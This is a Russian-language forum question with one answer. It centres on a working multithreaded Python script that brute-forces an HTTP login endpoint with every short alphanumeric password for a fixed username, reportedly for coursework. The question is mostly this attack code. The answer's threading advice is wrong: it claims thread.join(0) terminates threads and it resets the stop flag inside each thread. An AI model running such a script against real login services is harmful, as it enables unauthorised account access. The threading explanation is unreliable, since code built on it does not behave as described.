как остановить многопоточность thread python
Для курсовой нужно было осуществить brute-forc, код полностью работает, но хотелось бы как-то остановить потоки по нормальному после нахождения пароля, а не через os._exit(1). Также пробовал через Lock и Rlock останавливает только поток, в котором нашелся пароль.
import string
import os
from itertools import *
import requests
from threading import *
from queue import Queue
THREAD_NUM = 20
ALPHABET = [ch for ch in (string.ascii_lowercase + string.digits)]
server = "http://192.168.255.255:2512/auth"
def check_auntification(passQueue:Queue):
while not passQueue.empty():
password = passQueue.get()
try:
req = requests.post(server, json = {"login": "v7", "password": password})
print(password)
if req.status_code == 200:
print(password, "ПАРОЛЬ НАЙДЕН")
os._exit(1)
except:
print(password)
pass
bruteQueue = Queue()
n = 4
for i in range(n):
for probablyPass in product(ALPHABET, repeat = i):
strPass = "".join(probablyPass)
bruteQueue.put(strPass)
for i in range(THREAD_NUM):
th = Thread(target = check_auntification, args=(bruteQueue,))
th.start()
Ответы (1 шт):
Чтобы иметь возможность остановить созданные потоки, вам нужно сохранить их в список (или любой другой контейнер).
Добавьте в начало вашей программы инициализацию пустого списка thread_list = []. И при запуске каждого потока добавляйте его в список:
for i in range(THREAD_NUM):
th = Thread(target = check_auntification, args=(bruteQueue,))
thread_list.append(th)
th.start()
UPDATE.
Отвечая на ваш вопрос для корректного завершения потоков теперь можно написать функцию kill_all_threads() и при нахождении пароля вызывать ее, а не os.exit:
def kill_all_threads():
for thread in thread_list:
thread.join(0)
thread.join(0) нужен для того, чтобы поток завершался немедленно, а не ожидал завершения выполнения.
Также потребуется "примитив синхронизации", самое легкое решение это использование глобальной переменной (с помощью нее будем останавливать дальнейшие вычисления, если пароль уже найден), измените тело вашей функции check_auntification как показано ниже:
def check_auntification(passQueue: Queue):
global pwd_found
pwd_found = False
while not passQueue.empty() and not pwd_found:
Вызов функции kill_all_threads() следует осуществлять в новом потоке, т.к. остановить текущий поток из его же контекста нельзя.
if req.status_code == 200:
pwd_found = True
print(password, "ПАРОЛЬ НАЙДЕН")
close_thread = Thread(target=kill_all_threads)
close_thread.start()
close_thread.join()